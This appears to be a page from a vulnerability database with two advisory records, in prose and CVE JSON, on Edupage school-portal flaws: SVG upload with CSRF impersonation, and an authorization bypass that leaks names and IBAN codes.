VULNERABILITY Non-sanitised submission of malicious SVG files on the Edupage portal in combination with CSRF vulnerability allows triggering various actions on behalf of other users, e.g. identity spoofing, sending fake messages, giving fake approvals, etc. Full disclosure report: https://jkosik.github.io/posts/edupage/ Reference: https://www.edupage.org/ VENDOR: Applied Software Consultants PRODUCT: Edupage - https://www.edupage.org/ Web application and also mobile application (at least 2024.0.25 2.1.72) AFFECTED COMPONENT Edupage web and mobile application - multiple pages with missing CSRF token and multiple pages allowing attachment uploads. ATTACK TYPE Remote DISCOVERER Juraj Kosik CVE CVE-2025-70562 CVE-2025-70563 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Full disclosure Impersonation",
          "vendor": "Applied Software Consultants",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Juraj Kosik"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "VULNERABILITY\nNon-sanitised submission of malicious SVG files on the Edupage portal in\ncombination with CSRF vulnerability allows triggering various actions on\nbehalf of other users, e.g. identity spoofing, sending fake messages,\ngiving fake approvals, etc.\n\nFull disclosure report: https://jkosik.github.io/posts/edupage/\nReference: https://www.edupage.org/\n\nVENDOR:\nApplied Software Consultants\n\nPRODUCT:\nEdupage - https://www.edupage.org/\nWeb application and also mobile application (at least 2024.0.25 2.1.72)\n\nAFFECTED COMPONENT\nEdupage web and mobile application - multiple pages with missing CSRF token\nand multiple pages allowing attachment uploads.\n\nATTACK TYPE\nRemote\n\nDISCOVERER\nJuraj Kosik\n\nCVE\nCVE-2025-70562\nCVE-2025-70563\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:39:33Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/4"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/May/4"
        },
        {
          "url": "https://jkosik.github.io/posts/edupage/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.edupage.org/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/May/4"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Full disclosure: Impersonation attacks on Edupage portal",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0252",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/4",
            "automated": true,
            "contentSha256": "af883f4d6525af5afb39baf60c32c4eeb9f767b44447dc0edb11edda3a94e42b",
            "evidenceScore": 6,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/May/4",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-05-12T10:46:55Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:42Z",
    "dateUpdated": "2026-09-11T07:39:33Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0252"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0251

Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-11 07:39
VLAI
Title
Full disclosure: Edupage web and mobile application authorization bypass leaks PII and IBAN codes
Summary
VULNERABILITY Both authenticated and publicly accessible anonymous guest accounts on Edupage portal allow an attacker to capture the complete list of user IDs, names (students, parents, and teachers), and the associated banking details (IBAN codes) Full disclosure report: https://jkosik.github.io/posts/edupage/ Reference: https://www.edupage.org/ VENDOR: Applied Software Consultants PRODUCT: Edupage - https://www.edupage.org/ Web application and also mobile application (at least 2024.0.25 2.1.72) AFFECTED COMPONENT Edupage Payment module ATTACK TYPE Remote DISCOVERER Juraj Kosik CVE CVE-2025-70561 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Full disclosure Edupage",
          "vendor": "Applied Software Consultants",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Juraj Kosik"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "VULNERABILITY\nBoth authenticated and publicly accessible anonymous guest accounts on\nEdupage portal allow an attacker to capture the complete list of user IDs,\nnames (students, parents, and teachers), and the associated banking details\n(IBAN codes)\n\nFull disclosure report: https://jkosik.github.io/posts/edupage/\nReference: https://www.edupage.org/\n\nVENDOR:\nApplied Software Consultants\n\nPRODUCT:\nEdupage - https://www.edupage.org/\nWeb application and also mobile application (at least 2024.0.25 2.1.72)\n\nAFFECTED COMPONENT\nEdupage Payment module\n\nATTACK TYPE\nRemote\n\nDISCOVERER\nJuraj Kosik\n\nCVE\nCVE-2025-70561\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:39:27Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/3"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/May/3"
        },
        {
          "url": "https://jkosik.github.io/posts/edupage/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.edupage.org/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/May/3"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Full disclosure: Edupage web and mobile application authorization bypass leaks PII and IBAN codes",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0251",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/3",
            "automated": true,
            "contentSha256": "f0c00c3375b0a15c7991e33bfcc9c10bad4a82e4ecefb8da5d4667c2d9748705",
            "evidenceScore": 6,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/May/3",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-05-12T10:39:30Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:42Z",
    "dateUpdated": "2026-09-11T07:39:27Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0251"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}
displaying 201 - 210 publications in total 387